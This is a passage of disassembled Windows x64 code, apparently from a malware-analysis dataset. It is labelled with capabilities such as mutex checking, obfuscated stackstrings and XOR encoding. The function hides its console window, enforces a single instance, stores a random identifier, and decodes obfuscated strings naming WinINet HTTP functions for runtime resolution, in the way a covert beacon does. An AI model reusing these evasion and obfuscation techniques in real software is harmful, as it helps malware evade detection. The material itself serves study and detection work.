Function at 0x140004bf0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
mov rax, qword [0x140011028]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
xor edi, edi
mov dword [rbp - 0x20], edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, [0x14000c974]
lea edx, [rdi + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140004c6e
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005f95
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rdi
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], dil
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea r14, [0x140000000]
lea rax, [r14 + 0xcb00]
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x110]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x60], rax
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x5c], edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rsi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x70], rsi
mov byte [rbp + 0xec], 0
mov byte [rbp + 0xe1], 0
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xf0], rdi
mov rax, qword [0x140011bf8]
mov qword [rbp + 0xe4], rax
mov qword [rbp + 0xd8], rdi
mov r8d, 1
lea rcx, [rbp + 0x70]
call fcn.140007b30
test rax, rax
jne 0x140004d7e
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
jne 0x14000501e
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rbp + 0x190]
call fcn.140001690
mov rbx, rax
lea rax, [rbp + 0x170]
cmp rax, rbx
je 0x140004e41
mov rdx, qword [rbp + 0x188]
cmp rdx, 0x10
jb 0x140004e04
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004dff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004e79
call fcn.140009cec
mov qword [rbp + 0x180], rdi
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x140004e85
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004e80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009cec
movdqa xmm0, xmmword [0x14000cb30]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1d0]
call sub.VCRUNTIME140.dll_memset
lea rax, [r14 + 0xcae0]
mov qword [rbp + 0x1d0], rax
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x20], 5
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1d0], rax
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1cc], edx
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rbp + 0x1d8], rsi
mov byte [rbp + 0x254], 0
mov byte [rbp + 0x249], 0
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x258], rdi
mov rax, qword [0x140011bf8]
mov qword [rbp + 0x24c], rax
mov qword [rbp + 0x240], rdi
mov r8d, 2
lea rcx, [rbp + 0x1d8]
call fcn.140007b30
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1d0]
je 0x140004fa4
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140004fb2
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rbp + 0x1d0]
call fcn.140009650
lea rcx, [rbp + 0x1d8]
call fcn.140007a70
test rax, rax
jne 0x140005010
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1d0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x1d0]
call fcn.1400060d0
jmp 0x14000509b
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [0x14000cb30]
movdqu xmmword [rbp + 0x1a0], xmm1
mov byte [rbp + 0x190], 0
cmp qword [rbp + 0xf0], 0
je 0x140005084
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x60]
call fcn.140008480
lea rcx, [rbp + 0x70]
call fcn.140007a70
test rax, rax
jne 0x140005084
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
movdqa xmm0, xmmword [0x14000cb30]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
mov dword [rsp + 0x20], 0x47
mov eax, dword [rsp + 0x20]
xor al, 0x75
mov byte [rsp + 0x24], al
mov eax, dword [rsp + 0x20]
inc al
xor al, 0x44
mov byte [rsp + 0x25], al
mov eax, dword [rsp + 0x20]
add al, 2
xor al, 0x3d
mov byte [rsp + 0x26], al
xor eax, eax
mov byte [rsp + 0x27], al
movzx eax, byte [rsp + 0x24]
mov rdx, rdi
movzx eax, byte [rsp + rdx + 0x24]
mov ecx, dword [rsp + 0x20]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x24], cl
inc rdx
cmp rdx, 3
jb 0x1400050d3
mov byte [rsp + 0x27], 0
lea r8, [rbp + 0x170]
lea rdx, [rsp + 0x24]
lea rcx, [rbp + 0x38]
call fcn.140008320
mov r8, rax
mov byte [rbp - 0x58], 0x2f
mov byte [rbp - 0x57], 0x81
mov byte [rbp - 0x56], 0x72
mov byte [rbp - 0x55], 0x6f
mov byte [rbp - 0x54], 0x6a
mov byte [rbp - 0x53], 0x77
mov byte [rbp - 0x52], 0x70
mov byte [rbp - 0x51], 0x7d
mov byte [rbp - 0x50], 0x6a
mov byte [rbp - 0x4f], 0x72
mov byte [rbp - 0x4e], 0x82
mov byte [rbp - 0x4d], 0x6a
mov byte [rbp - 0x4c], 0x77
mov byte [rbp - 0x4b], 0x70
mov byte [rbp - 0x4a], 0x46
mov byte [rbp - 0x49], 0
movzx eax, byte [rbp - 0x58]
mov rcx, rdi
movzx eax, byte [rbp + rcx - 0x58]
sub al, 9
mov byte [rbp + rcx - 0x58], al
inc rcx
cmp rcx, 0xf
jb 0x140005151
lea rdx, [rbp - 0x58]
mov rcx, r8
call fcn.140007490
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or dword [rbp - 0x20], 2
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x1400051d7
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400051d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009cec
movdqa xmm0, xmmword [0x14000cb30]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], 0
mov dword [rbp - 0x30], 0x11
mov byte [rbp - 0x2c], 0x46
mov byte [rbp - 0x2b], 0x78
mov byte [rbp - 0x2a], 0x7f
mov byte [rbp - 0x29], 0x78
mov byte [rbp - 0x28], 0x7f
mov byte [rbp - 0x27], 0x74
mov byte [rbp - 0x26], 0x65
mov byte [rbp - 0x25], 0x3f
mov byte [rbp - 0x24], 0x75
mov byte [rbp - 0x23], 0x7d
mov byte [rbp - 0x22], 0x7d
xor eax, eax
mov byte [rbp - 0x21], al
movzx eax, byte [rbp - 0x2c]
mov rdx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x2c]
mov ecx, dword [rbp - 0x30]
xor cl, al
mov byte [rbp + rdx - 0x2c], cl
inc rdx
cmp rdx, 0xb
jb 0x140005230
mov byte [rbp - 0x21], 0
lea rcx, [rbp - 0x2c]
call fcn.140001a20
mov qword [0x140011b78], rax
mov dword [rbp + 8], 0x5f
mov byte [rbp + 0xc], 0x16
mov byte [rbp + 0xd], 0x31
mov byte [rbp + 0xe], 0x2b
mov byte [rbp + 0xf], 0x3a
mov byte [rbp + 0x10], 0x2d
mov byte [rbp + 0x11], 0x31
mov byte [rbp + 0x12], 0x3a
mov byte [rbp + 0x13], 0x2b
mov byte [rbp + 0x14], 0x10
mov byte [rbp + 0x15], 0x2f
mov byte [rbp + 0x16], 0x3a
mov byte [rbp + 0x17], 0x31
mov byte [rbp + 0x18], 0x1e
xor eax, eax
mov byte [rbp + 0x19], al
movzx eax, byte [rbp + 0xc]
mov rdx, rdi
movzx eax, byte [rbp + rdx + 0xc]
mov ecx, dword [rbp + 8]
xor cl, al
mov byte [rbp + rdx + 0xc], cl
inc rdx
cmp rdx, 0xd
jb 0x1400052a2
mov byte [rbp + 0x19], 0
lea rdx, [rbp + 0xc]
mov rcx, qword [0x140011b78]
call fcn.140001970
mov qword [0x140011b88], rax
mov dword [rsp + 0x78], 0x57
mov eax, dword [rsp + 0x78]
xor al, 0x49
mov byte [rsp + 0x7c], al
mov eax, dword [rsp + 0x78]
inc al
xor al, 0x6e
mov byte [rsp + 0x7d], al
mov eax, dword [rsp + 0x78]
add al, 2
xor al, 0x74
mov byte [rsp + 0x7e], al
mov eax, dword [rsp + 0x78]
add al, 3
xor al, 0x65
mov byte [rsp + 0x7f], al
mov eax, dword [rsp + 0x78]
add al, 4
xor al, 0x72
mov byte [rbp - 0x80], al
mov eax, dword [rsp + 0x78]
add al, 5
xor al, 0x6e
mov byte [rbp - 0x7f], al
mov eax, dword [rsp + 0x78]
add al, 6
xor al, 0x65
mov byte [rbp - 0x7e], al
mov eax, dword [rsp + 0x78]
add al, 7
xor al, 0x74
mov byte [rbp - 0x7d], al
mov eax, dword [rsp + 0x78]
add al, 8
xor al, 0x43
mov byte [rbp - 0x7c], al
mov eax, dword [rsp + 0x78]
add al, 9
xor al, 0x6f
mov byte [rbp - 0x7b], al
mov eax, dword [rsp + 0x78]
add al, 0xa
xor al, 0x6e
mov byte [rbp - 0x7a], al
mov eax, dword [rsp + 0x78]
add al, 0xb
xor al, 0x6e
mov byte [rbp - 0x79], al
mov eax, dword [rsp + 0x78]
add al, 0xc
xor al, 0x65
mov byte [rbp - 0x78], al
mov eax, dword [rsp + 0x78]
add al, 0xd
xor al, 0x63
mov byte [rbp - 0x77], al
mov eax, dword [rsp + 0x78]
add al, 0xe
xor al, 0x74
mov byte [rbp - 0x76], al
mov eax, dword [rsp + 0x78]
add al, 0xf
xor al, 0x41
mov byte [rbp - 0x75], al
xor eax, eax
mov byte [rbp - 0x74], al
movzx eax, byte [rsp + 0x7c]
mov rdx, rdi
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x7c]
mov ecx, dword [rsp + 0x78]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x7c], cl
inc rdx
cmp rdx, 0x10
jb 0x1400053a0
mov byte [rbp - 0x74], 0
lea rdx, [rsp + 0x7c]
mov rcx, qword [0x140011b78]
call fcn.140001970
mov qword [0x140011b80], rax
mov byte [rbp - 0x48], 0x4d
mov byte [rbp - 0x47], 0x79
mov byte [rbp - 0x46], 0x79
mov byte [rbp - 0x45], 0x75
mov byte [rbp - 0x44], 0x54
mov byte [rbp - 0x43], 0x75
mov byte [rbp - 0x42], 0x6a
mov byte [rbp - 0x41], 0x73
mov byte [rbp - 0x40], 0x57
mov byte [rbp - 0x3f], 0x6a
mov byte [rbp - 0x3e], 0x76
mov byte [rbp - 0x3d], 0x7a
mov byte [rbp - 0x3c], 0x6a
mov byte [rbp - 0x3b], 0x78
mov byte [rbp - 0x3a], 0x79
mov byte [rbp - 0x39], 0x46
mov byte [rbp - 0x38], 0
movzx eax, byte [rbp - 0x48]
mov rcx, rdi
movzx eax, byte [rbp + rcx - 0x48]
sub al, 5
mov byte [rbp + rcx - 0x48], al
inc rcx
cmp rcx, 0x10
jb 0x140005421
lea rdx, [rbp - 0x48]
mov rcx, qword [0x140011b78]
call fcn.140001970
mov qword [0x140011ba8], rax
mov dword [rbp - 0x18], 0x69
mov byte [rbp - 0x14], 0x21
mov byte [rbp - 0x13], 0x1d
mov byte [rbp - 0x12], 0x1d
mov byte [rbp - 0x11], 0x19
mov byte [rbp - 0x10], 0x28
mov byte [rbp - 0xf], 0xd
mov byte [rbp - 0xe], 0xd
mov byte [rbp - 0xd], 0x3b
mov byte [rbp - 0xc], 0xc
mov byte [rbp - 0xb], 0x18
mov byte [rbp - 0xa], 0x1c
mov byte [rbp - 9], 0xc
mov byte [rbp - 8], 0x1a
mov byte [rbp - 7], 0x1d
mov byte [rbp - 6], 0x21
mov byte [rbp - 5], 0xc
mov byte [rbp - 4], 8
mov byte [rbp - 3], 0xd
mov byte [rbp - 2], 0xc
mov byte [rbp - 1], 0x1b
mov byte [rbp], 0x1a
mov byte [rbp + 1], 0x28
xor eax, eax
mov byte [rbp + 2], al
movzx eax, byte [rbp - 0x14]
mov rdx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x14]
mov ecx, dword [rbp - 0x18]
xor cl, al
mov byte [rbp + rdx - 0x14], cl
inc rdx
cmp rdx, 0x16
jb 0x1400054c0
mov byte [rbp + 2], 0
lea rdx, [rbp - 0x14]
mov rcx, qword [0x140011b78]
call fcn.140001970
mov qword [0x140011bb0], rax
mov dword [rbp - 0x70], 0x65
mov eax, dword [rbp - 0x70]
xor al, 0x48
mov byte [rbp - 0x6c], al
mov eax, dword [rbp - 0x70]
inc al
xor al, 0x74
mov byte [rbp - 0x6b], al
mov eax, dword [rbp - 0x70]
add al, 2
xor al, 0x74
mov byte [rbp - 0x6a], al
mov eax, dword [rbp - 0x70]
add al, 3
xor al, 0x70
mov byte [rbp - 0x69], al
mov eax, dword [rbp - 0x70]
add al, 4
xor al, 0x53
mov byte [rbp - 0x68], al
mov eax, dword [rbp - 0x70]
add al, 5
xor al, 0x65
mov byte [rbp - 0x67], al
mov eax, dword [rbp - 0x70]
add al, 6
xor al, 0x6e
mov byte [rbp - 0x66], al
mov eax, dword [rbp - 0x70]
add al, 7
xor al, 0x64
mov byte [rbp - 0x65], al
mov eax, dword [rbp - 0x70]
add al, 8
xor al, 0x52
mov byte [rbp - 0x64], al
mov eax, dword [rbp - 0x70]
add al, 9
xor al, 0x65
mov byte [rbp - 0x63], al
mov eax, dword [rbp - 0x70]
add al, 0xa
xor al, 0x71
mov byte [rbp - 0x62], al
mov eax, dword [rbp - 0x70]
add al, 0xb
xor al, 0x75
mov byte [rbp - 0x61], al
mov eax, dword [rbp - 0x70]
add al, 0xc
xor al, 0x65
mov byte [rbp - 0x60], al
mov eax, dword [rbp - 0x70]
add al, 0xd
xor al, 0x73
mov byte [rbp - 0x5f], al
mov eax, dword [rbp - 0x70]
add al, 0xe
xor al, 0x74
mov byte [rbp - 0x5e], al
mov eax, dword [rbp - 0x70]
add al, 0xf
xor al, 0x57
mov byte [rbp - 0x5d], al
xor eax, eax
mov byte [rbp - 0x5c], al
movzx eax, byte [rbp - 0x6c]
mov rdx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x6c]
mov ecx, dword [rbp - 0x70]
add cl, dl
xor cl, al
mov byte [rbp + rdx - 0x6c], cl
inc rdx
cmp rdx, 0x10
jb 0x1400055b0
mov byte [rbp - 0x5c], 0
lea rdx, [rbp - 0x6c]
mov rcx, qword [0x140011b78]
call fcn.140001970
mov qword [0x140011b90], rax
mov dword [rbp + 0x20], 0x26
mov byte [rbp + 0x24], 0x6f
mov byte [rbp + 0x25], 0x48
mov byte [rbp + 0x26], 0x52
mov byte [rbp + 0x27], 0x43
mov byte [rbp + 0x28], 0x54
mov byte [rbp + 0x29], 0x48
mov byte [rbp + 0x2a], 0x43
mov byte [rbp + 0x2b], 0x52
mov byte [rbp + 0x2c], 0x74
mov byte [rbp + 0x2d], 0x43
mov byte [rbp + 0x2e], 0x47
mov byte [rbp + 0x2f], 0x42
mov byte [rbp + 0x30], 0x60
mov byte [rbp + 0x31], 0x4f
mov byte [rbp + 0x32], 0x4a
mov byte [rbp + 0x33], 0x43
xor eax, eax
mov byte [rbp + 0x34], al
movzx eax, byte [rbp + 0x24]
mov rdx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + rdx + 0x24]
mov ecx, dword [rbp + 0x20]
xor cl, al
mov byte [rbp + rdx + 0x24], cl
inc rdx
cmp rdx, 0x10
jb 0x140005640
mov byte [rbp + 0x34], 0
lea rdx, [rbp + 0x24]
mov rcx, qword [0x140011b78]
call fcn.140001970
mov qword [0x140011ba0], rax
mov dword [rsp + 0x28], 0x52
mov eax, dword [rsp + 0x28]
xor al, 0x49
mov byte [rsp + 0x2c], al
mov eax, dword [rsp + 0x28]
inc al
xor al, 0x6e
mov byte [rsp + 0x2d], al
mov eax, dword [rsp + 0x28]
add al, 2
xor al, 0x74
mov byte [rsp + 0x2e], al
mov eax, dword [rsp + 0x28]
add al, 3
xor al, 0x65
mov byte [rsp + 0x2f], al
mov eax, dword [rsp + 0x28]
add al, 4
xor al, 0x72
mov byte [rsp + 0x30], al
mov eax, dword [rsp + 0x28]
add al, 5
xor al, 0x6e
mov byte [rsp + 0x31], al
mov eax, dword [rsp + 0x28]
add al, 6
xor al, 0x65
mov byte [rsp + 0x32], al
mov eax, dword [rsp + 0x28]
add al, 7
xor al, 0x74
mov byte [rsp + 0x33], al
mov eax, dword [rsp + 0x28]
add al, 8
xor al, 0x43
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x28]
add al, 9
xor al, 0x6c
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x28]
add al, 0xa
xor al, 0x6f
mov byte [rsp + 0x36], al
mov eax, dword [rsp + 0x28]
add al, 0xb
xor al, 0x73
mov byte [rsp + 0x37], al
mov eax, dword [rsp + 0x28]
add al, 0xc
xor al, 0x65
mov byte [rsp + 0x38], al
mov eax, dword [rsp + 0x28]
add al, 0xd
xor al, 0x48
mov byte [rsp + 0x39], al
mov eax, dword [rsp + 0x28]
add al, 0xe
xor al, 0x61
mov byte [rsp + 0x3a], al
mov eax, dword [rsp + 0x28]
add al, 0xf
xor al, 0x6e
mov byte [rsp + 0x3b], al
mov eax, dword [rsp + 0x28]
add al, 0x10
xor al, 0x64
mov byte [rsp + 0x3c], al
mov eax, dword [rsp + 0x28]
add al, 0x11
xor al, 0x6c
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x28]
add al, 0x12
xor al, 0x65
mov byte [rsp + 0x3e], al
xor eax, eax
mov byte [rsp + 0x3f], al
movzx eax, byte [rsp + 0x2c]
mov rdx, rdi
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x2c]
mov ecx, dword [rsp + 0x28]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x2c], cl
inc rdx
cmp rdx, 0x13
jb 0x140005770
mov byte [rsp + 0x3f], 0
lea rdx, [rsp + 0x2c]
mov rcx, qword [0x140011b78]
call fcn.140001970
mov qword [0x140011b98], rax
mov dword [rsp + 0x60], 0x22
mov eax, dword [rsp + 0x60]
xor al, 0x49
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x60]
inc al
xor al, 0x6e
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x60]
add al, 2
xor al, 0x74
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x60]
add al, 3
xor al, 0x65
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x60]
add al, 4
xor al, 0x72
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x60]
add al, 5
xor al, 0x6e
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x60]
add al, 6
xor al, 0x65
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x60]
add al, 7
xor al, 0x74
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x60]
add al, 8
xor al, 0x53
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x60]
add al, 9
xor al, 0x65
mov byte [rsp + 0x6d], al
mov eax, dword [rsp + 0x60]
add al, 0xa
xor al, 0x74
mov byte [rsp + 0x6e], al
mov eax, dword [rsp + 0x60]
add al, 0xb
xor al, 0x4f
mov byte [rsp + 0x6f], al
mov eax, dword [rsp + 0x60]
add al, 0xc
xor al, 0x70
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x60]
add al, 0xd
xor al, 0x74
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x60]
add al, 0xe
xor al, 0x69
mov byte [rsp + 0x72], al
mov eax, dword [rsp + 0x60]
add al, 0xf
xor al, 0x6f
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x60]
add al, 0x10
xor al, 0x6e
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x60]
add al, 0x11
xor al, 0x41
mov byte [rsp + 0x75], al
xor eax, eax
mov byte [rsp + 0x76], al
movzx eax, byte [rsp + 0x64]
mov rdx, rdi
movzx eax, byte [rsp + rdx + 0x64]
mov ecx, dword [rsp + 0x60]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x64], cl
inc rdx
cmp rdx, 0x12
jb 0x140005893
mov byte [rsp + 0x76], 0
lea rdx, [rsp + 0x64]
mov rcx, qword [0x140011b78]
call fcn.140001970
mov qword [0x140011b70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea r14, [rbp + 0x1b0]
mov r15, qword [rbp + 0x1b0]
mov r13, qword [rbp + 0x1c8]
cmp r13, 0x10
cmovae r14, r15
movabs rbx, 0x7fffffffffffffff
mov rsi, qword [rbp + 0x1c0]
cmp rsi, rbx
ja 0x140005feb
movabs rax, 0x8000000000000000
mov ecx, 0x16
mov qword [rsp + 0x58], 0xf
cmp rsi, 0x10
jae 0x140005944
mov qword [rsp + 0x50], rsi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x40], xmm0
jmp 0x1400059cd
mov rdi, rsi
or rdi, 0xf
cmp rdi, rbx
jbe 0x140005975
mov rdi, rbx
add rax, 0x27
mov rcx, rax
call fcn.140009990
mov rcx, rax
test rax, rax
je 0x140005998
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400059ad
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000599f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005fcd
jmp 0x140005957
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400059ab
call fcn.140009990
jmp 0x1400059ad
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor edi, edi
lea rcx, [rsp + 0x40]
call fcn.140001e00
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea r14, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae r14, qword [rbp + 0x170]
mov rsi, qword [rbp + 0x180]
cmp rsi, rbx
ja 0x140005ff1
mov qword [rsp + 0x58], 0xf
cmp rsi, 0x10
jae 0x140005a3c
mov qword [rsp + 0x50], rsi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x40], xmm0
jmp 0x140005ad5
mov rdi, rsi
or rdi, 0xf
cmp rdi, rbx
jbe 0x140005a77
mov rdi, rbx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140009990
mov rcx, rax
test rax, rax
je 0x140005aa0
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005ab5
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140005aa7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005fd3
jmp 0x140005a59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005ab3
call fcn.140009990
jmp 0x140005ab5
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], rdi
mov qword [rbp + 0x1a8], rdi
mov r8d, 3
lea rdx, [0x14000c928]
lea rcx, [rbp + 0x190]
call fcn.140008900
nop
lea r8, [rsp + 0x40]
lea rdx, [0x140011bb8]
lea rcx, [rbp + 0x190]
call fcn.140003b50
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea r14, [rbp + 0x170]
